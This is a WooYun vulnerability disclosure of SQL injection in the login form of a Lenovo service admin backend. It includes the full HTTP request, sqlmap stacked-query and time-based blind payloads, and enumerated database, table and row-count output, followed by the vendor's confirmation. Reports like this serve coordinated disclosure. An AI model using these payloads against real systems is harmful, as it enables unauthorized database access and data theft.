当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-046514

漏洞标题：联想某信息管理后台存在SQL注射导致信息泄露

相关厂商：联想

漏洞作者： Mr.leo

提交时间：2013-12-20 11:19

修复时间：2014-02-03 11:20

公开时间：2014-02-03 11:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-20： 细节已通知厂商并且等待厂商处理中
2013-12-22： 厂商已经确认，细节仅向厂商公开
2014-01-01： 细节向核心白帽子及相关领域专家公开
2014-01-11： 细节向普通白帽子公开
2014-01-21： 细节向实习白帽子公开
2014-02-03： 细节向公众公开

简要描述：

联想7#某信息管理后台存在SQL注射导致信息泄露

详细说明：

站点：
http://ideaservice.lenovo.com.cn/ts/login.aspx
联想MIDH客服部技术端到端平台信息管理后台
LoginName参数没有过滤，导致注射漏洞

POST http://ideaservice.lenovo.com.cn/ts/login.aspx HTTP/1.1
Host: ideaservice.lenovo.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://ideaservice.lenovo.com.cn/ts/login.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
__VIEWSTATE=%2FwEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC%2BXVcVLiQIr1w%3D%3D&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=%2FwEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW%2FpL7CC%2BymOQ9AM%3D&LoginName=123&LoginPass=123&Button1=%C8%B7%B6%A8


sqlmap跑起来

sqlmap identified the following injection points with a total of 108 HTTP(s) requests:
---
Place: POST
Parameter: LoginName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC+XVcVLiQIr1w==&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW/pL7CC+ymOQ9AM=&LoginName=123'; WAITFOR DELAY '0:0:5';--&LoginPass=123&Button1=ȷ��
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC+XVcVLiQIr1w==&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW/pL7CC+ymOQ9AM=&LoginName=123' WAITFOR DELAY '0:0:5'--&LoginPass=123&Button1=ȷ��
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: LoginName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC+XVcVLiQIr1w==&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW/pL7CC+ymOQ9AM=&LoginName=123'; WAITFOR DELAY '0:0:5';--&LoginPass=123&Button1=ȷ��
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC+XVcVLiQIr1w==&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW/pL7CC+ymOQ9AM=&LoginName=123' WAITFOR DELAY '0:0:5'--&LoginPass=123&Button1=ȷ��
---
current user:    'db_ts'
current database:    'ts'
available databases [13]:
[*] [tempdb\x03]
[*] LeSupportSite
[*] LoadTest2010
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] spadmin
[*] sychronkzation3357
[*] Test_LeAskAD
[*] Test_LeSupportSite
[*] ts
Database: ts
[31 tables]
+----------------------------+
| dbo.T_APP_LOG              |
| dbo.T_ENGINEIR             |
| dbo.T_ENG_LEVEL            |
| dbo.T_ENG_LEVEL_TYPE       |
| dbo.T_NEW_PRODUCT_INFO     |
| dbo.T_PREPARE_JOB_ITEM     |
| dbo.T_PREPARE_REC          |
| dbo.T_PREPARE_REC_DETAIL   |
| dbo.T_PROaUCT_PREPARE      |
| dbo.T_REC                  |
| dbo.T_SOFTWARE             |
| dbo.T_SOFTWARE_YEC         |
| dbo.T_SOLUTION             |
| dbo.T_SOLUTION_REC         |
| dbo.T_SURVEY               |
| dbo.T_SURVEY_QUESTION      |
| dbo.T_SURVEY_REPLY         |
| dbo.T_SURVEY_REPLY_DETAIL  |
| dbo.T_SURVEY_TARGET        |
| dbo.T_SYS_USER             |
| dbo.T_TROUBLE_SHOOTING_REC |
| dbo.T_TROUBLE_SHOOTINH     |
| dbo.T_USER_RIGHTS          |
| dbo.V_NEW_PRODUCT          |
| dbo.V_PRODUCT_PREPARE      |
| dbo.V_SOFTWARE_REC         |
| dbo.V_SOLUTION_RGC         |
| dbo.V_SURVEY_REC           |
| dbo.[T_APK`VERSION]        |
| dbo.[T_MODEL\x03]          |
| dbo.dtproperties           |
+----------------------------+
Database: ts
+---------------------------+---------+
| Table                     | Entries |
+---------------------------+---------+
| dbo.T_PREPARE_REC_DETAIL  | 395421  |
| dbo.T_SOLUTION_REC        | 269069  |
| dbo.T_PREPARE_REC         | 137342  |
| dbo.T_SURVEY_REPLY_DETAIL | 27927   |
| dbo.T_ENG_LEVEL           | 23672   |
| dbo.T_SURVEY_REPLY        | 19036   |
| dbo.T_SOFTWARE            | 501     |
| dbo.T_SOLUTION            | 449     |
| dbo.T_NEW_PRODUCT_INFO    | 89      |
| dbo.T_REC                 | 70      |
| dbo.T_SURVEY_QUESTION     | 44      |
| dbo.T_TROUBLE_SHOOTINH    | 41      |
| dbo.T_SURVEY              | 5       |
| dbo.T_ENGINEIR            | 4       |
| dbo.T_PREPARE_JOB_ITEM    | 3       |
| dbo.T_USER_RIGHTS         | 3       |
+---------------------------+---------+


over

漏洞证明：

已经证明

修复方案：

过滤参数

版权声明：转载请注明来源 Mr.leo@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-12-22 19:40

厂商回复：

感谢您对联想安全做出的贡献！我们将立即评估与修复相关漏洞

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-20 15:37 | Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢！！)

    @xsser @Finger @疯狗 谁把我标题编号去了？？

  2. 2013-12-20 15:45 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @Mr.leo 标题尽量标准，规范一些吧

  3. 2013-12-20 15:49 | Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢！！)

    @疯狗 改了以后果然标准规范了 -@- http://www.wooyun.org/bugs/wooyun-2013-046540/trace/2db895ec0d5b19bee91b4c54952ac835 求审核